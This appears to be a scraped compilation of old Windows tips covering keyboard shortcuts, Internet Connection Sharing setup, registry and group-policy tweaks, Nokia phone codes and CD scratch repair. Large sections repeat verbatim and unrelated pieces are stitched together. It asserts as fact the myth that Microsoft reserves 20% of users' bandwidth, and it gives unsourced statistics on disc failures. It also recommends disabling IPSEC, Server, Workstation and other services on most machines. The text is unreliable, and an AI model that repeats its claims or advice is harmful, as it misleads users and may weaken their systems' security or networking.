* Note: The buffer allows a maximum of 50 command lines. After this number is reached, the first line will be replaced in sequence.
Helpful accessibility keyboard shortcuts
* Switch FilterKeys on and off. Right SHIFT for eight seconds
* Switch High Contrast on and off. Left ALT +left SHIFT +PRINT SCREEN
* Switch MouseKeys on and off. Left ALT +left SHIFT +NUM LOCK
* Switch StickyKeys on and off. SHIFT five times
* Switch ToggleKeys on and off. NUM LOCK for five seconds
* Shift + F10 right-clicks.
* Win + L (XP Only): Locks keyboard. Similar to Lock Workstation.
* Win + F or F3: Open Find dialog. (All Files) F3 may not work in some applications which use F3 for their own find dialogs.
* Win + Control + F: Open Find dialog. (Computers)
* Win + U: Open Utility Manager.
* Win + F1: Open Windows help.
* Win + Pause: Open System Properties dialog.
* Win + Tab: Cycle through taskbar buttons. Enter clicks, AppsKey or Shift + F10 right-clicks.
* Win + Shift + Tab: Cycle through taskbar buttons in reverse.
* Alt + Tab: Display Cool Switch. More commonly known as the AltTab dialog.
* Alt + Shift + Tab: Display Cool Switch; go in reverse.
* Alt + Escape: Send active window to the bottom of the z-order.
* Alt + Shift + Escape: Activate the window at the bottom of the z-order.
* Alt + F4: Close active window; or, if all windows are closed, open shutdown dialog.
* Shift while a CD is loading: Bypass AutoPlay.
* Shift while login: Bypass startup folder. Only those applications will be ignored which are in the startup folder, not those started from the registry (Microsoft\Windows\CurrentVersion\Run\)
* Ctrl + Alt + Delete or Ctrl + Alt + NumpadDel (Both NumLock states): Invoke the Task Manager or NT Security dialog.
* Ctrl + Shift + Escape (2000/XP ) or (Ctrl + Alt + NumpadDot) : Invoke the task manager. On earlier OSes, acts like Ctrl + Escape.
* Print screen: Copy screenshot of current screen to clipboard.
* Alt + Print screen: Copy screenshot of current active window to clipboard.
* Ctrl + Alt + Down Arrow: Invert screen. Untested on OS's other than XP.
* Ctrl + Alt + Up Arrow: Undo inversion.
* Win + B : Move focus to systray icons.
General
* Ctrl + C or Ctrl + Insert: Copy.
* Ctrl + X or Shift + Delete: Cut.
* Ctrl + V or Shift + Insert: Paste/Move.
* Ctrl + N: New... File, Tab, Entry, etc.
* Ctrl + S: Save.
* Ctrl + O: Open...
* Ctrl + P: Print.
* Ctrl + Z: Undo.
* Ctrl + A: Select all.
* Ctrl + F: Find...
* Ctrl+W : to close the current window
* Ctrl + F4: Close tab or child window.
* F1: Open help.
* F11: Toggle full screen mode.
* Alt or F10: Activate menu bar.
* Alt + Space: Display system menu. Same as clicking the icon on the titlebar.
* Escape: Remove focus from current control/menu, or close dialog box.
General Navigation
* Tab: Forward one item.
* Shift + Tab: Backward one item.
* Ctrl + Tab: Cycle through tabs/child windows.
* Ctrl + Shift + Tab: Cycle backwards through tabs/child windows.
* Enter: If a button's selected, click it, otherwise, click default button.
* Space: Toggle items such as radio buttons or checkboxes.
* Alt + (Letter): Activate item corresponding to (Letter). (Letter) is the underlined letter on the item's name.
* Ctrl + Left: Move cursor to the beginning of previous word.
* Ctrl + Right: Move cursor to the beginning of next word.
* Ctrl + Up: Move cursor to beginning of previous paragraph. This and all subsequent Up/Down hotkeys in this section have only been known to work in Rich Edit controls.
* Ctrl + Down: Move cursor to beginning of next paragraph.
* Shift + Left: Highlight one character to the left.
* Shift + Right: Highlight one character to the right.
* Shift + Up: Highlight from current cursor position, to one line up.
* Shift + Down: Highlight from current cursor position, to one line down.
* Ctrl + Shift + Left: Highlight to beginning of previous word.
* Ctrl + Shift + Right: Highlight to beginning of next word.
* Ctrl + Shift + Up: Highlight to beginning of previous paragraph.
* Ctrl + Shift + Down: Highlight to beginning of next paragraph.
* Home: Move cursor to top of a scrollable control.
* End: Move cursor to bottom of a scrollable control.
File Browser
* Arrow Keys: Navigate.
* Shift + Arrow Keys: Select multiple items.
* Ctrl + Arrow Keys: Change focus without changing selection. "Focus" is the object that will run on Enter. Space toggles selection of the focused item.
* (Letter): Select first found item that begins with (Letter).
* BackSpace: Go up one level to the parent directory.
* Alt + Left: Go back one folder.
* Alt + Right: Go forward one folder.
* Enter: Activate (Double-click) selected item(s).
* Alt + Enter: View properties for selected item.
* F2: Rename selected item(s).
* Ctrl + NumpadPlus: In a Details view, resizes all columns to fit the longest item in each one.
* Delete: Delete selected item(s).
* Shift + Delete: Delete selected item(s); bypass Recycle Bin.
* Ctrl while dragging item(s): Copy.
* Ctrl + Shift while dragging item(s): Create shortcut(s).
* In tree pane, if any:
* Left: Collapse the current selection if expanded, or select the parent folder.
* Right: Expand the current selection if collapsed, or select the first subfolder.
* Numpad Asterisk: Expand currently selected directory and all subdirectories. No undo.
* Numpad Plus: Expand currently selected directory.
* Numpad Minus: Collapse currently selected directory.
Accessibility
* Right Shift for eight seconds: Toggle FilterKeys on and off. FilterKeys must be enabled.
* Left Alt + Left Shift + PrintScreen: Toggle High Contrast on and off. High Contrast must be enabled.
* Left Alt + Left Shift + NumLock: Toggle MouseKeys on and off. MouseKeys must be enabled.
* NumLock for five seconds: Toggle ToggleKeys on and off. ToggleKeys must be enabled.
* Shift five times: Toggle StickyKeys on and off. StickyKeys must be enabled.
* 6.) Microsoft Natural Keyboard with IntelliType Software Installed
* Win + L: Log off Windows.
* Win + P: Open Print Manager.
* Win + C: Open control panel.
* Win + V: Open clipboard.
* Win + K: Open keyboard properties.
* Win + I: Open mouse properties.
* Win + A: Open Accessibility properties.
* Win + Space: Displays the list of Microsoft IntelliType shortcut keys.
* Win + S: Toggle CapsLock on and off.
Remote Desktop Connection Navigation
* Ctrl + Alt + End: Open the NT Security dialog.
* Alt + PageUp: Switch between programs.
* Alt + PageDown: Switch between programs in reverse.
* Alt + Insert: Cycle through the programs in most recently used order.
* Alt + Home: Display start menu.
* Ctrl + Alt + Break: Switch the client computer between a window and a full screen.
* Alt + Delete: Display the Windows menu.
* Ctrl + Alt + NumpadMinus: Place a snapshot of the entire client window area on the Terminal server clipboard and provide the same functionality as pressing Alt + PrintScreen on a local computer.
* Ctrl + Alt + NumpadPlus: Place a snapshot of the active window in the client on the Terminal server clipboard and provide the same functionality as pressing PrintScreen on a local computer.
Mozilla Firefox Shortcuts
* Ctrl + Tab or Ctrl + PageDown: Cycle through tabs.
* Ctrl + Shift + Tab or Ctrl + PageUp: Cycle through tabs in reverse.
* Ctrl + (1-9): Switch to tab corresponding to number.
* Ctrl + N: New window.
* Ctrl + T: New tab.
* Ctrl + L or Alt + D or F6: Switch focus to location bar.
* Ctrl + Enter: Open location in new tab.
* Shift + Enter: Open location in new window.
* Ctrl + K or Ctrl + E: Switch focus to search bar.
* Ctrl + O: Open a local file.
* Ctrl + W: Close tab, or window if there's only one tab open.
* Ctrl + Shift + W: Close window.
* Ctrl + S: Save page as a local file.
* Ctrl + P: Print page.
* Ctrl + F or F3: Open find toolbar.
* Ctrl + G or F3: Find next...
* Ctrl + Shift + G or Shift + F3: Find previous...
* Ctrl + B or Ctrl + I: Open Bookmarks sidebar.
* Ctrl + H: Open History sidebar.
* Escape: Stop loading page.
* Ctrl + R or F5: Reload current page.
* Ctrl + Shift + R or Ctrl + F5: Reload current page; bypass cache.
* Ctrl + U: View page source.
* Ctrl + D: Bookmark current page.
* Ctrl + NumpadPlus or Ctrl + Equals (+/=): Increase text size.
* Ctrl + NumpadMinus or Ctrl + Minus: Decrease text size.
* Ctrl + Numpad0 or Ctrl + 0: Set text size to default.
* Alt + Left or Backspace: Back.
* Alt + Right or Shift + Backspace: Forward.
* Alt + Home: Open home page.
* Ctrl + M: Open new message in integrated mail client.
* Ctrl + J: Open Downloads dialog.
* F6: Switch to next frame. You must have selected something on the page already, e.g. by use of Tab.
* Shift + F6: Switch to previous frame.
* Apostrophe ('): Find link as you type.
* Slash (/): Find text as you type.
Gmail Shortcuts
* Note: Must have "keyboard shortcuts" on in settings.
* C: Compose new message.
* Shift + C: Open new window to compose new message.
* Slash (/): Switch focus to search box.
* K: Switch focus to the next most recent email. Enter or "O" opens focused email.
* J: Switch focus to the next oldest email.
* N: Switch focus to the next message in the "conversation." Enter or "O" expands/collapses messages.
* P: Switch focus to the previous message.
* U: Takes you back to the inbox and checks for new mail.
* Y: Various actions depending on current view:
* Has no effect in "Sent" and "All Mail" views.
* Inbox: Archive email or message.
* Starred: Unstar email or message.
* Spam: Unmark as spam and move back to "Inbox."
* Trash: Move back to "Inbox."
* Any label: Remove the label.
* X: "Check" an email. Various actions can be performed against all checked emails.
* S: "Star" an email. Identical to the more familiar term, "flagging."
* R: Reply to the email.
* A: Reply to all recipients of the email.
* F: Forward an email.
* Shift + R: Reply to the email in a new window.
* Shift + A: Reply to all recipients of the email in a new window.
* Shift + F: Forward an email in a new window.
* Shift + 1 (!): Mark an email as spam and remove it from the inbox.
* G then I: Switch to "Inbox" view.
* G then S: Switch to "Starred" view.
* G then A: Switch to "All Mail" view.
* G then C: Switch to "Contacts" view.
* G then S: Switch to "Drafts" view.
List of F1-F9 Key Commands for the Command Prompt
* F1 / right arrow: Repeats the letters of the last command line, one by one.
* F2: Displays a dialog asking user to "enter the char to copy up to" of the last command line
* F3: Repeats the last command line
* F4: Displays a dialog asking user to "enter the char to delete up to" of the last command line
* F5: Goes back one command line
* F6: Enters the traditional CTRL+Z (^z)
* F7: Displays a menu with the command line history
* F8: Cycles back through previous command lines (beginning with most recent)
* F9: Displays a dialog asking user to enter a command number, where 0 is for first command line entered.
* Alt+Enter: toggle full Screen mode.
* up/down: scroll thru/repeat previous entries
* Esc: delete line
* Note: The buffer allows a maximum of 50 command lines. After this number is reached, the first line will be replaced in sequence.
Helpful accessibility keyboard shortcuts
* Switch FilterKeys on and off. Right SHIFT for eight seconds
* Switch High Contrast on and off. Left ALT +left SHIFT +PRINT SCREEN
* Switch MouseKeys on and off. Left ALT +left SHIFT +NUM LOCK
* Switch StickyKeys on and off. SHIFT five times
* Switch ToggleKeys on and off. NUM LOCK for five seconds
Internet Connection Sharing with Windows XP
This trick shows you how to share your internet connections on multiple computers within a workgroup with Windows XP. Windows XP has a built-in feature that called "Internet Connection Sharing" (ICS) that allows home users to share their internet connections on multiple computers.
If you are not familiar with the network configurations, the easiest way to share your internet connection is to purchase a router or hub. Use this trick only if you don't have a router, or don't want to use a router, or if you just want to try out the feature.
A simple way to understand this feature is, you are making your host computer (the computer directly connects to the internet) functioning as a router for other computers.
Configure the Client Computer(s)
To use the shared connection from the Host computer, a client computer must be configured with "Automatic IP address". The main configurations are:
1. Configure TCP/IP Automatic IP
2. Configure Internet Connection
The steps for the above two configurations are vary on different versions of Windows.
The following procedures are for Windows XP client computers.
1. Log on to the client computer as Administrator or as Owner.
2. Click Start >> Control Panel.
3. Click Network and Internet Connections.
4. Click Network Connections.
5. Right-click Local Area Connection, and then click Properties.
6. Click the General tab, click Internet Protocol (TCP/IP) in the This connection uses the following items list, and then click Properties.
7. In the Internet Protocol (TCP/IP) Properties dialog box, click Obtain an IP address automatically (if it is not already selected), and then click OK.
8. Click Start >> Control Panel
9. Click Network and Internet Connections.
10. Click Internet Options.
11. In the Internet Properties dialog box, click the Connections tab.
12. Click the Setup button. The New Connection Wizard starts.
13. On the Welcome to the New Connection Wizard page, click Next.
14. Click Connect to the Internet, and then click Next.
15. Click Set up my connection manually, and then click Next.
16. Click Connect using a broadband connection that is always on, and then click Next.
17. On the Completing the New Connection Wizard page, click Finish.
18. Exit Control Panel and test the internet. You might need to restart the computer.
What do you need?
* A "Host" computer that running Windows XP. This computer must have at least TWO (2) network adapters. One adapter - let's call it "Adapter #1" - connects to the internet and another, "Adapter #2", connects to a hub or directly to other computers.
* Client computer(s), which run any version of Windows. A client computer can be connected to the host computer directly by a cross-over cable or indirectly through a hub.
* This trick assumes that the host computer is connected to the internet and you are able to access the internet on this computer.
Configure the Host Computer
1. Logon the host computer as Administrator.
2. Click Start >> Control Panel.
3. Click Network and Internet Connections.
4. Click Network Connections.
5. Right-click the connection that you use to connect to the internet (the connection with Adapter #1). This connection can be either a high-speed internet connection or a dial-up connection.
6. Click Properties.
7. Click Advanced tab.
8. Under Internet Connection Sharing, select the Allow other network users to connect through this computer's Internet connection check box.
9. If you are sharing a dial-up Internet connection, select the Establish a dial-up connection whenever a computer on my network attempts to access the Internet check box if you want to permit your computer to automatically connect to the Internet.
10. Click OK. You'll reieve the following message:
When Internet Connection Sharing is enabled, your LAN adapter will be set to use IP address 192.168.0.1. Your computer may lose connectivity with other computers on your network. If these other computers have static IP addresses, it is a good idea to set them to obtain their IP addresses automatically. Are you sure you want to enable Internet Connection Sharing?
11. Click Yes.
If you are not familiar with the network configurations, the easiest way to share your internet connection is to purchase a router or hub. Use this trick only if you don't have a router, or don't want to use a router, or if you just want to try out the feature.
A simple way to understand this feature is, you are making your host computer (the computer directly connects to the internet) functioning as a router for other computers.
Configure the Client Computer(s)
To use the shared connection from the Host computer, a client computer must be configured with "Automatic IP address". The main configurations are:
1. Configure TCP/IP Automatic IP
2. Configure Internet Connection
The steps for the above two configurations are vary on different versions of Windows.
The following procedures are for Windows XP client computers.
1. Log on to the client computer as Administrator or as Owner.
2. Click Start >> Control Panel.
3. Click Network and Internet Connections.
4. Click Network Connections.
5. Right-click Local Area Connection, and then click Properties.
6. Click the General tab, click Internet Protocol (TCP/IP) in the This connection uses the following items list, and then click Properties.
7. In the Internet Protocol (TCP/IP) Properties dialog box, click Obtain an IP address automatically (if it is not already selected), and then click OK.
8. Click Start >> Control Panel
9. Click Network and Internet Connections.
10. Click Internet Options.
11. In the Internet Properties dialog box, click the Connections tab.
12. Click the Setup button. The New Connection Wizard starts.
13. On the Welcome to the New Connection Wizard page, click Next.
14. Click Connect to the Internet, and then click Next.
15. Click Set up my connection manually, and then click Next.
16. Click Connect using a broadband connection that is always on, and then click Next.
17. On the Completing the New Connection Wizard page, click Finish.
18. Exit Control Panel and test the internet. You might need to restart the computer.
What do you need?
* A "Host" computer that running Windows XP. This computer must have at least TWO (2) network adapters. One adapter - let's call it "Adapter #1" - connects to the internet and another, "Adapter #2", connects to a hub or directly to other computers.
* Client computer(s), which run any version of Windows. A client computer can be connected to the host computer directly by a cross-over cable or indirectly through a hub.
* This trick assumes that the host computer is connected to the internet and you are able to access the internet on this computer.
Configure the Host Computer
1. Logon the host computer as Administrator.
2. Click Start >> Control Panel.
3. Click Network and Internet Connections.
4. Click Network Connections.
5. Right-click the connection that you use to connect to the internet (the connection with Adapter #1). This connection can be either a high-speed internet connection or a dial-up connection.
6. Click Properties.
7. Click Advanced tab.
8. Under Internet Connection Sharing, select the Allow other network users to connect through this computer's Internet connection check box.
9. If you are sharing a dial-up Internet connection, select the Establish a dial-up connection whenever a computer on my network attempts to access the Internet check box if you want to permit your computer to automatically connect to the Internet.
10. Click OK. You'll reieve the following message:
When Internet Connection Sharing is enabled, your LAN adapter will be set to use IP address 192.168.0.1. Your computer may lose connectivity with other computers on your network. If these other computers have static IP addresses, it is a good idea to set them to obtain their IP addresses automatically. Are you sure you want to enable Internet Connection Sharing?
11. Click Yes.
WINDOWS TRICKS
Disable CD Autorun
( WinXP PRO Only)
1) Click Start, Run and enter GPEDIT.MSC
2) Go to Computer Configuration, Administrative Templates, System.
3) Locate the entry for Turn autoplay off and modify it as you desire.
Speed Up Browsing
When you connect to a web site your computer sends information back and forth. Some of this information deals with resolving the site name to an IP address, the stuff that TCP/IP really deals with, not words. This is DNS information and is used so that you will not need to ask for the site location each and every time you visit the site. Although Windows XP and Windows XP have a pretty efficient DNS cache, you can increase its overall performance by increasing its size. You can do this with the registry entries below:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters]
"CacheHashTableBucketSize"=dword:00000001
"CacheHashTableSize"=dword:00000180
"MaxCacheEntryTtlLimit"=dword:0000fa00
"MaxSOACacheEntryTtlLimit"=dword:0000012d
Make a new text file and rename it to dnscache.reg. Then copy and paste the above into it and save it. Merge it into the registry.
DISABLE INDEXING SERVICES
Indexing Services is a small little program that uses large amounts of RAM and can often make a computer endlessly loud and noisy. This system process indexes and updates lists of all the files that are on your computer. It does this so that when you do a search for something on your computer, it will search faster by scanning the index lists. If you don't search your computer often, or even if you do search often, this system service is completely unnecessary. To disable do the following:
1. Go to Start
2. Click Settings
3. Click Control Panel
4. Double-click Add/Remove Programs
5. Click the Add/Remove Window Components
6. Uncheck the Indexing services
7. Click Next
OPTIMISE DISPLAY SETTINGS
Windows XP can look sexy but displaying all the visual items can waste system resources. To optimize:
1.Go to Start
2. Click Settings
3. Click Control Panel
4. Click System
5. Click Advanced tab
6. In the Performance tab click Settings
7. Leave only the following ticked:
- Show shadows under menus
- Show shadows under mouse pointer
- Show translucent selection rectangle
- Use drop shadows for icons labels on the desktop
- Use visual styles on windows and buttons
SPEEDUP FOLDER BROWSING
You may have noticed that everytime you open my computer to browse folders that there is a slight delay. This is because Windows XP automatically searches for network files and printers everytime you open Windows Explorer. To fix this and to increase browsing significantly:
1. Open My Computer
2. Click on Tools menu
3. Click on Folder Options
4. Click on the View tab.
5. Uncheck the Automatically search for network folders and printers check box
6. Click Apply
7. Click Ok
8. Reboot your computer
REMOVE THE DESKTOP PICTURE
Your desktop background consumes a fair amount of memory and can slow the loading time of your system. Removing it will improve performance.
1. Right click on Desktop and select Properties
2. Select the Desktop tab
3. In the Background window select None
4. Click Ok
DISABLE UNNECESSARY SERVICES
Because Windows XP has to be all things to all people it has many services running that take up system resources that you will never need. Below is a list of services that can be disabled on most machines:
Alerter
Clipbook
Computer Browser
Distributed Link Tracking Client
Fast User Switching
Help and Support - (If you use Windows Help and Support leave this enabled)
Human Interface Access Devices
Indexing Service
IPSEC Services
Messenger
Netmeeting Remote Desktop Sharing (disabled for extra security)
Portable Media Serial Number
Remote Desktop Help Session Manager (disabled for extra security)
Remote Procedure Call Locator
Remote Registry (disabled for extra security)
Remote Registry Service
Secondary Logon
Routing & Remote Access (disabled for extra security)
Server
SSDP Discovery Service - (Unplug n' Pray will disable this)
Telnet
TCP/IP NetBIOS Helper
Upload Manager
Universal Plug and Play Device Host
Windows Time
Wireless Zero Configuration (Do not disable if you use a wireless network)
Workstation
To disable these services:
Go to Start and then Run and type "services.msc"
Doubleclick on the service you want to change
Change the startup type to 'Disable"
REMOVE ANNOYING DELETE CONFIRMATION MESSAGES
Although not strictly a performance tweak I love this fix as it makes my machine 'feel' faster. I hate the annoying 'are you sure?' messages that XP displays, especially if I have to use a laptop touchpad to close them. To remove these messages:
1. Right-click on the 'Recycle Bin' on the desktop and then click 'Properties'
2. Clear the 'Display Delete Confirmation Dialog' check box and click 'Ok'
If you do accidently delete a file don't worry as all is not lost. Just go to your Recycle Bin and 'Restore' the file.
IMPROVE XP SHUTDOWN SPEED :ugeek:
[b] Idea
This tweak reduces the time XP waits before automatically closing any running programs when you give it the command to shutdown.
Go to Start then select Run
Type 'Regedit' and click ok
Find 'HKEY_CURRENT_USER\Control Panel\Desktop\'
Select 'WaitToKillAppTimeout'
Right click and select 'Modify'
Change the value to '1000'
Click 'OK'
Now select 'HungAppTimeout'
Right click and select 'Modify'
Change the value to '1000'
Click 'OK'
Now find 'HKEY_USERS\.DEFAULT\Control Panel\Desktop'
Select 'WaitToKillAppTimeout'
Right click and select 'Modify'
Change the value to '1000'
Click 'OK'
Now find 'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\'
Select 'WaitToKillServiceTimeout'
Right click and select 'Modify'
Change the value to '1000'
Click 'OK'
----------------------------------------------------------------------------------------------------------------------------------
Microsoft reserves 20% of your available bandwidth for their own purposes like Windows Updates and interrogating your PC etc. Don't you want to get it back for your self? Here is the trick how to get 100% of your available bandwidth.
Increase internet speed :ugeek:
To get it back:
Click Start then Run and type "gpedit.msc" without quotes.
This opens the "group policy editor" and go to: "Local Computer Policy"
Then "Computer Configuration" Then "Administrative Templates"
Then select "Network" then "QOS Packet Scheduler"
After that select "Limit Reservable Bandwidth".
Double click on Limit Reservable bandwidth. It will say it is not configured, but the truth is under the 'Explain' tab i.e.” By default, the Packet Scheduler limits the system to 20 percent of the bandwidth of a connection, but you can use this setting to override the default."
So the trick is to ENABLE reservable bandwidth, then set it to ZERO. This will allow the system to reserve nothing, rather than the default 20%.
( WinXP PRO Only)
1) Click Start, Run and enter GPEDIT.MSC
2) Go to Computer Configuration, Administrative Templates, System.
3) Locate the entry for Turn autoplay off and modify it as you desire.
Speed Up Browsing
When you connect to a web site your computer sends information back and forth. Some of this information deals with resolving the site name to an IP address, the stuff that TCP/IP really deals with, not words. This is DNS information and is used so that you will not need to ask for the site location each and every time you visit the site. Although Windows XP and Windows XP have a pretty efficient DNS cache, you can increase its overall performance by increasing its size. You can do this with the registry entries below:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters]
"CacheHashTableBucketSize"=dword:00000001
"CacheHashTableSize"=dword:00000180
"MaxCacheEntryTtlLimit"=dword:0000fa00
"MaxSOACacheEntryTtlLimit"=dword:0000012d
Make a new text file and rename it to dnscache.reg. Then copy and paste the above into it and save it. Merge it into the registry.
DISABLE INDEXING SERVICES
Indexing Services is a small little program that uses large amounts of RAM and can often make a computer endlessly loud and noisy. This system process indexes and updates lists of all the files that are on your computer. It does this so that when you do a search for something on your computer, it will search faster by scanning the index lists. If you don't search your computer often, or even if you do search often, this system service is completely unnecessary. To disable do the following:
1. Go to Start
2. Click Settings
3. Click Control Panel
4. Double-click Add/Remove Programs
5. Click the Add/Remove Window Components
6. Uncheck the Indexing services
7. Click Next
OPTIMISE DISPLAY SETTINGS
Windows XP can look sexy but displaying all the visual items can waste system resources. To optimize:
1.Go to Start
2. Click Settings
3. Click Control Panel
4. Click System
5. Click Advanced tab
6. In the Performance tab click Settings
7. Leave only the following ticked:
- Show shadows under menus
- Show shadows under mouse pointer
- Show translucent selection rectangle
- Use drop shadows for icons labels on the desktop
- Use visual styles on windows and buttons
SPEEDUP FOLDER BROWSING
You may have noticed that everytime you open my computer to browse folders that there is a slight delay. This is because Windows XP automatically searches for network files and printers everytime you open Windows Explorer. To fix this and to increase browsing significantly:
1. Open My Computer
2. Click on Tools menu
3. Click on Folder Options
4. Click on the View tab.
5. Uncheck the Automatically search for network folders and printers check box
6. Click Apply
7. Click Ok
8. Reboot your computer
REMOVE THE DESKTOP PICTURE
Your desktop background consumes a fair amount of memory and can slow the loading time of your system. Removing it will improve performance.
1. Right click on Desktop and select Properties
2. Select the Desktop tab
3. In the Background window select None
4. Click Ok
DISABLE UNNECESSARY SERVICES
Because Windows XP has to be all things to all people it has many services running that take up system resources that you will never need. Below is a list of services that can be disabled on most machines:
Alerter
Clipbook
Computer Browser
Distributed Link Tracking Client
Fast User Switching
Help and Support - (If you use Windows Help and Support leave this enabled)
Human Interface Access Devices
Indexing Service
IPSEC Services
Messenger
Netmeeting Remote Desktop Sharing (disabled for extra security)
Portable Media Serial Number
Remote Desktop Help Session Manager (disabled for extra security)
Remote Procedure Call Locator
Remote Registry (disabled for extra security)
Remote Registry Service
Secondary Logon
Routing & Remote Access (disabled for extra security)
Server
SSDP Discovery Service - (Unplug n' Pray will disable this)
Telnet
TCP/IP NetBIOS Helper
Upload Manager
Universal Plug and Play Device Host
Windows Time
Wireless Zero Configuration (Do not disable if you use a wireless network)
Workstation
To disable these services:
Go to Start and then Run and type "services.msc"
Doubleclick on the service you want to change
Change the startup type to 'Disable"
REMOVE ANNOYING DELETE CONFIRMATION MESSAGES
Although not strictly a performance tweak I love this fix as it makes my machine 'feel' faster. I hate the annoying 'are you sure?' messages that XP displays, especially if I have to use a laptop touchpad to close them. To remove these messages:
1. Right-click on the 'Recycle Bin' on the desktop and then click 'Properties'
2. Clear the 'Display Delete Confirmation Dialog' check box and click 'Ok'
If you do accidently delete a file don't worry as all is not lost. Just go to your Recycle Bin and 'Restore' the file.
IMPROVE XP SHUTDOWN SPEED :ugeek:
[b] Idea
This tweak reduces the time XP waits before automatically closing any running programs when you give it the command to shutdown.
Go to Start then select Run
Type 'Regedit' and click ok
Find 'HKEY_CURRENT_USER\Control Panel\Desktop\'
Select 'WaitToKillAppTimeout'
Right click and select 'Modify'
Change the value to '1000'
Click 'OK'
Now select 'HungAppTimeout'
Right click and select 'Modify'
Change the value to '1000'
Click 'OK'
Now find 'HKEY_USERS\.DEFAULT\Control Panel\Desktop'
Select 'WaitToKillAppTimeout'
Right click and select 'Modify'
Change the value to '1000'
Click 'OK'
Now find 'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\'
Select 'WaitToKillServiceTimeout'
Right click and select 'Modify'
Change the value to '1000'
Click 'OK'
----------------------------------------------------------------------------------------------------------------------------------
Microsoft reserves 20% of your available bandwidth for their own purposes like Windows Updates and interrogating your PC etc. Don't you want to get it back for your self? Here is the trick how to get 100% of your available bandwidth.
Increase internet speed :ugeek:
To get it back:
Click Start then Run and type "gpedit.msc" without quotes.
This opens the "group policy editor" and go to: "Local Computer Policy"
Then "Computer Configuration" Then "Administrative Templates"
Then select "Network" then "QOS Packet Scheduler"
After that select "Limit Reservable Bandwidth".
Double click on Limit Reservable bandwidth. It will say it is not configured, but the truth is under the 'Explain' tab i.e.” By default, the Packet Scheduler limits the system to 20 percent of the bandwidth of a connection, but you can use this setting to override the default."
So the trick is to ENABLE reservable bandwidth, then set it to ZERO. This will allow the system to reserve nothing, rather than the default 20%.
CODES FOR NOKIA MOBILES
Codes :
1) *#06# For checking IMEI(international Mobile Equipment Identity)
2) *#7780# Reset to factory settings
3) *#0000# To view software version
4) *#2820# Bluetooth device address
5) *#746025625# Sim clock allowed status
6) #pw+1234567890+1# Shows if ur sim as any restrictions
1) *#06# For checking IMEI(international Mobile Equipment Identity)
2) *#7780# Reset to factory settings
3) *#0000# To view software version
4) *#2820# Bluetooth device address
5) *#746025625# Sim clock allowed status
6) #pw+1234567890+1# Shows if ur sim as any restrictions
TIPS TO RECOVER SCRACHED DISCS
1. Spread a cloth on a flat surface and place the CD on it.
2. Then, hold the disc with one hand, use the other to wipe the polish into the affected area with a soft cloth.
3. Wait for it to dry and buff using short, brisk strokes along the scratch, not across it.
4. A cloth sold to wipe spectacles or camera lenses will work super m8's.
5. When you can no longersee the scratch,, wash the disc with water and let it dry before playing. Intersting isnt it? Try it right now
I have used toothpaste with good effects before Ive also used car paint cutting compound on deeper scratches. It does leave lots of smaller scratches (as it is a cutting compound after all) but it will remove the worst scratches in most cases.
ya u r gng to b surely befinited by this Operation
* Fingermarks/prints cause 43% of disc problems!
* General wear & tear causes 25% of disc problems!
* Player-related issues cause 15% of disc problems!
* Remaining Others
2. Then, hold the disc with one hand, use the other to wipe the polish into the affected area with a soft cloth.
3. Wait for it to dry and buff using short, brisk strokes along the scratch, not across it.
4. A cloth sold to wipe spectacles or camera lenses will work super m8's.
5. When you can no longersee the scratch,, wash the disc with water and let it dry before playing. Intersting isnt it? Try it right now
I have used toothpaste with good effects before Ive also used car paint cutting compound on deeper scratches. It does leave lots of smaller scratches (as it is a cutting compound after all) but it will remove the worst scratches in most cases.
ya u r gng to b surely befinited by this Operation
* Fingermarks/prints cause 43% of disc problems!
* General wear & tear causes 25% of disc problems!
* Player-related issues cause 15% of disc problems!
* Remaining Others
Insert from a Text File without Copying and Pasting in MS Publisher
Perhaps you have written driving directions, a basic restaurant menu, a blurb for a company newsletter, or other text into Notepad or another text editor. The text needs to be inserted into a Microsoft Publisher 2007 document and formatted. Instead of re-opening the document, copying, then pasting the text into a Publisher story, here's a shortcut.
1. Click inside a text box in which you want text inserted, or create a new text box.
2. Select "Insert" - "Text File".
3. An "Insert Text" dialog box appears. Navigate your computer, removable media, network shares, etc. to the file you wish to open and double-click it.
If your text is too large for the text box, you'll be given the option to have Publisher flow the text into an existing or new text box. These will then be connected together as a story. Otherwise, overflowing text will be contained in the box but remain hidden.
1. Click inside a text box in which you want text inserted, or create a new text box.
2. Select "Insert" - "Text File".
3. An "Insert Text" dialog box appears. Navigate your computer, removable media, network shares, etc. to the file you wish to open and double-click it.
If your text is too large for the text box, you'll be given the option to have Publisher flow the text into an existing or new text box. These will then be connected together as a story. Otherwise, overflowing text will be contained in the box but remain hidden.
Monday, May 11, 2009
How to turn off Low Disk Space warning in Windows XP ?
Annoyed by the Low disk space warning that comes in the tray icon whenever your disk runs out of space ? Do you want to turn of the Low disk space warning ?
* Open your registry editor by typing " REGEDIT " in the run prompt .
* Navigate as follows : HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ Explorer.
* Now Right Click in the right pane , Click New -> Dword and name it as NoLowDiskSpaceChecks. .
* Double-click on NoLowDiskSpaceChecks, and enter the value as 1, and press OK.
Thats it . From now on you wont get annoying Low disk space error .
* Open your registry editor by typing " REGEDIT " in the run prompt .
* Navigate as follows : HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Policies\ Explorer.
* Now Right Click in the right pane , Click New -> Dword and name it as NoLowDiskSpaceChecks. .
* Double-click on NoLowDiskSpaceChecks, and enter the value as 1, and press OK.
Thats it . From now on you wont get annoying Low disk space error .
How To Limit Number Of Windows In Flip3D
Windows Vista is popular for its visual effects. One of the most poplar effects in Windows Vista is the Flip3D facility. In case you are using a system which has got low end facilities then the number of windows displayed by the Flip3D feature should be reduced. Otherwise, it will affect the performance of the system. You can reduce the number of windows by using the following method.
1. Press WinKey+R.
2. Type “regedit.exe“
3. If asked for permission to launch the Registry Editor, click Allow.
4. Navigate to HKEY_CURRENT_USER\Software\Microsoft\Windows\DWM
5. Right click and select New, click on “DWORD (32-bit)”.
6. Name the new DWORD value “Max3DWindows” (without the quotes)
7. Double click on the DWORD value and set it to the maximum number of windows you want displayed in Flip3D. A good number is 5 for low-end cards and 10 for high performance cards.
8. Click OK and exit the Registry Editor.
9. Press Ctrl+Shift+F9 to shutdown DWM, and then press the key combination again to restart it.
